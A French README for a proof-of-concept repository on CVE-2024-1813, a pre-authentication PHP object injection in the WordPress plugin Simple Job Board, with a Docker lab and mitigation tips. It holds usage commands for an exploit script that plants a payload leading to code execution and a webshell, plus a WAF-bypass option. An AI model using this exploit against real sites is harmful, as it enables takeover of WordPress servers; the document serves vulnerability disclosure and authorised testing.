
De bout en bout : un visiteur stocke un objet PHP sérialisé via le formulaire public de candidature, l'administrateur ouvre la liste des candidats, et la chaîne de gadgets dépose un webshell.
Injection d'objets PHP non authentifiée dans le plugin WordPress Simple Job Board (PressTigers). Un visiteur stocke un objet PHP sérialisé via le formulaire public de candidature ; lorsque l'administrateur ouvre ensuite la liste des candidats, le plugin le désérialise et une chaîne de gadgets tierce le transforme en exécution de code à distance.
| CVE | CVE-2024-1813 |
| Plugin | Simple Job Board (PressTigers) |
| Version vulnérable | ≤ 2.11.0 |
| Version corrigée | 2.11.1 |
| Type | Injection d'objets PHP (désérialisation non sécurisée) |
| Authentification | Aucune (injection pré-authentification) |
| Déclencheur | L'administrateur ouvre la liste des candidats (flux de travail normal) |
| CVSS | 9.8 |
📖 Analyse technique complète : https://mobeta.fr/blog/
Ce dépôt est le laboratoire et la preuve de concept associés. L'analyse détaillée (cause racine, le double
unserialize, la construction de la chaîne POP, le contournement du WAF) se trouve dans l'article de blog.
.
├── sjb_cve_2024_1813.py # the PoC (builds + sends the payload)
├── LICENSE
└── lab/
├── docker-compose.yml # WordPress + MariaDB + vulnerable plugins
├── setup/setup.sh # one-shot provisioning (wp-cli)
└── trigger_exploit.sh # simulates the admin opening the applicants list
Reproduit la pile vulnérable : WordPress 6.9.4 / PHP 8.3 / MariaDB 10.11 avec Simple Job Board 2.10.8 (source + sink) et All In One SEO 4.5.6 (la chaîne de gadgets).
cd lab
docker compose up -d # boot + auto-provision
docker compose logs setup # prints the site URL, admin creds and job_id
Valeurs par défaut du laboratoire : http://localhost:8081, admin admin / admin123!.
# 1. Store the payload (pre-auth). Replace 4 with the job_id from the setup logs.
python3 sjb_cve_2024_1813.py http://localhost:8081 4 'id > /tmp/RCE_PROOF.txt'
# 2. Fire the sink (plays the admin opening the applicants list).
cd lab && ./trigger_exploit.sh
# 3. Check the result.
docker exec sjb_lab_wp cat /tmp/RCE_PROOF.txt
Options utiles du PoC :
--print-only - construit et affiche la charge utile transmise, sans trafic réseau.--field - nom du champ POST (doit contenir name ; défaut jobapp_full_name).--int-prefix '+' - variante de contournement du WAF pour le préfixe de longueur sérialisé.--proxy http://127.0.0.1:8080 - achemine via Burp.unserialize() / maybe_unserialize() sur post_meta ; privilégiez unserialize($data, ['allowed_classes' => false]).vendor/composer/installed.json afin que les versions des bibliothèques cloisonnées ne puissent pas être identifiées.Réservé aux tests de sécurité et à l'éducation autorisés. N'exécutez jamais cela contre un système sans l'autorisation écrite explicite de son propriétaire.
MIT - voir LICENSE.